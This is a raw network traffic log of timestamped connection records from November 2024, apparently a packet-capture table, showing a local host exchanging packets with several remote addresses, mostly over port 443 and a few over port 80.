Nov 16, 2024 13:01:36.177117109 CET	443	49827	162.159.61.3	192.168.2.5
Nov 16, 2024 13:01:36.178196907 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.178246021 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.178260088 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.186954021 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.187019110 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.187032938 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.196095943 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.196171999 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.196186066 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.221848965 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.229984045 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.230005980 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.232043028 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.232049942 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.232078075 CET	49824	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.232095003 CET	443	49824	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.272857904 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.273006916 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.273025990 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.273081064 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.273185968 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.273202896 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.279874086 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.279932976 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.279947996 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.284759045 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.284818888 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.284832001 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.293602943 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.293675900 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.293689966 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.302432060 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.302553892 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.302567005 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.311613083 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.311666012 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.311681032 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.320565939 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.320852995 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.320866108 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.326215029 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.326256990 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.326312065 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.326710939 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.326728106 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.329675913 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.329741955 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.329762936 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.338726044 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.338828087 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.338840961 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.347764015 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.347829103 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.347841978 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.356267929 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.356332064 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.356345892 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.364082098 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.364140034 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.364152908 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.371891975 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.372037888 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.372101068 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.390455961 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.390537977 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.390556097 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.390835047 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.390892982 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.390908003 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.395550966 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.395633936 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.395648003 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.404292107 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.404339075 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.404344082 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.404357910 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.404407024 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.408848047 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.413974047 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.414031982 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.414046049 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.418968916 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.419015884 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.419076920 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.419090033 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.419151068 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.424051046 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.439955950 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.440001011 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.440015078 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.440047026 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.440100908 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.440141916 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.440548897 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.440644979 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.440663099 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.443731070 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.443783998 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.443789959 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.443804026 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.444488049 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.448704958 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.453737974 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.453794956 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.453810930 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.458714962 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.458764076 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.458767891 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.458786964 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.458920956 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.463731050 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.468657017 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.468700886 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.468724012 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.468736887 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.468785048 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.473598957 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.478579998 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.478625059 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.478650093 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.478663921 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.479574919 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.480356932 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.483719110 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.488506079 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.488548040 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.488596916 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.488610983 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.488665104 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.493457079 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.497035980 CET	49843	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.497052908 CET	443	49843	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.497150898 CET	49843	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.497438908 CET	49844	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.497490883 CET	443	49844	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.497561932 CET	49844	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.497741938 CET	49843	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.497755051 CET	443	49843	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.498142958 CET	49844	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.498172998 CET	443	49844	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.498687029 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.498739004 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.498743057 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.498755932 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.498864889 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.503424883 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.508102894 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.508147001 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.508183956 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.508199930 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.508481026 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.512826920 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.517430067 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.517468929 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.517666101 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.517680883 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.517740965 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.521881104 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.525016069 CET	49845	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.525052071 CET	443	49845	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.525126934 CET	49845	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.525336981 CET	49846	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.525422096 CET	443	49846	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.525500059 CET	49846	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.525536060 CET	49845	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.525566101 CET	443	49845	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.525655985 CET	49846	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.525692940 CET	443	49846	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.526415110 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.526484013 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.526505947 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.530917883 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.530960083 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.531052113 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.531078100 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.531131029 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.531332016 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.531388998 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.531567097 CET	443	49823	172.217.16.129	192.168.2.5
Nov 16, 2024 13:01:36.531650066 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.531650066 CET	49823	443	192.168.2.5	172.217.16.129
Nov 16, 2024 13:01:36.574487925 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.574501991 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.575984955 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.601180077 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.601196051 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.601706982 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.601712942 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.604892969 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.605001926 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.642494917 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.642529011 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.642544985 CET	49818	443	192.168.2.5	40.126.32.76
Nov 16, 2024 13:01:36.642554998 CET	443	49818	40.126.32.76	192.168.2.5
Nov 16, 2024 13:01:36.668971062 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.683583021 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.683592081 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.685053110 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.685132027 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.686791897 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.686855078 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.686991930 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.693831921 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.695878983 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.697228909 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.697416067 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.703609943 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.703617096 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.704590082 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.704593897 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.705075026 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.705113888 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.705534935 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.705543041 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.705967903 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.705988884 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.706460953 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.706466913 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.706995964 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.707012892 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.707364082 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.707367897 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.727339029 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.728246927 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.728405952 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.732501984 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.732547998 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.732548952 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.732570887 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.732582092 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.736399889 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.736483097 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.739916086 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.740063906 CET	49847	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.740101099 CET	443	49847	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.778791904 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:36.783627987 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:36.818428040 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.818507910 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.819027901 CET	49841	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.819036961 CET	443	49841	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.828661919 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.828818083 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.828915119 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.830147982 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.830307961 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.832500935 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.833287001 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.833421946 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.833488941 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.833898067 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.833993912 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.834048986 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.851435900 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.851443052 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.851484060 CET	49834	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.851489067 CET	443	49834	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.852904081 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.852933884 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.852947950 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.852957010 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.853595018 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.853609085 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.853621960 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.853627920 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.854604006 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.854609013 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.854618073 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.854620934 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.860615969 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.860651016 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.861063957 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.861402988 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.861412048 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.862477064 CET	49849	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.862523079 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.864186049 CET	49850	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.864202976 CET	49849	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.864207029 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.864557028 CET	49850	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.865216017 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.865233898 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.865263939 CET	49849	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.865294933 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.865317106 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.865403891 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.865432978 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.866014957 CET	49850	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:36.866029024 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:36.939605951 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:36.939654112 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:36.939738989 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:36.941283941 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:36.941301107 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:36.963226080 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.967892885 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.967922926 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.969430923 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:36.969491005 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.981014013 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.981153965 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:36.981170893 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.043220997 CET	49842	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.043262005 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.057256937 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057265997 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057276964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057316065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057327032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057337999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057347059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057358027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057365894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.057365894 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.057368040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057379961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057389975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.057399035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.057399035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.057427883 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.057463884 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.058068037 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.058140993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.062294960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.062794924 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.093604088 CET	443	49844	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.094849110 CET	49844	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.094914913 CET	443	49844	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.095505953 CET	443	49844	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.100267887 CET	49844	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.100373030 CET	443	49844	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.112149000 CET	443	49843	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.115021944 CET	49843	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.115031958 CET	443	49843	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.115499020 CET	443	49843	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.116545916 CET	49843	443	192.168.2.5	172.64.41.3
Nov 16, 2024 13:01:37.116633892 CET	443	49843	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.117660999 CET	443	49842	172.64.41.3	192.168.2.5
Nov 16, 2024 13:01:37.117713928 CET	49842	443	192.168.2.5	172.64.41.3
